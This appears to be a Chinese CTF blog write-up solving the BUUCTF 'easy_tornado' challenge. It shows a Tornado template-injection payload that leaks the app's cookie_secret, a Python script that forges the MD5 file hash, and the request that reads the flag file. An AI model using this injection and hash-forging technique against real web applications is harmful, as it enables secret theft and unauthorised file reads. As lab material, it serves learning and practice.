护网杯 2018 easy_tornado 1BUUCFT模板注入

Posted 2020-12-18 borber

三个文件的全部信息

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

看了cookie 未找到cookie_secret

查询资料: [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

获取cookie_secret

error?msg={{handler.settings}}

{‘autoreload‘: True, ‘compiled_template_cache‘: False, ‘cookie_secret‘: ‘3fa1222e-6726-43dd-9d06-f443a417e574‘}

python 构造 MD5 强烈建议使用 python 本地md5 加密 我在线加密怎么都构建不出来

import hashlib
hash = hashlib.md5()

filename = ‘/fllllllllllllag‘
cookie_secret = "3fa1222e-6726-43dd-9d06-f443a417e574"
hash.update(filename.encode(‘utf-8‘))
s1 = hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode(‘utf-8‘))
print(hash.hexdigest())

getFlag

http://8b5600f7-a54c-4356-aa62-ddf820dbe619.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=4edb201c923cd9abf13be0e6372e6273

/fllllllllllllag
flag{e0bdd279-6de9-4af3-a3c2-eb36b7b24a89}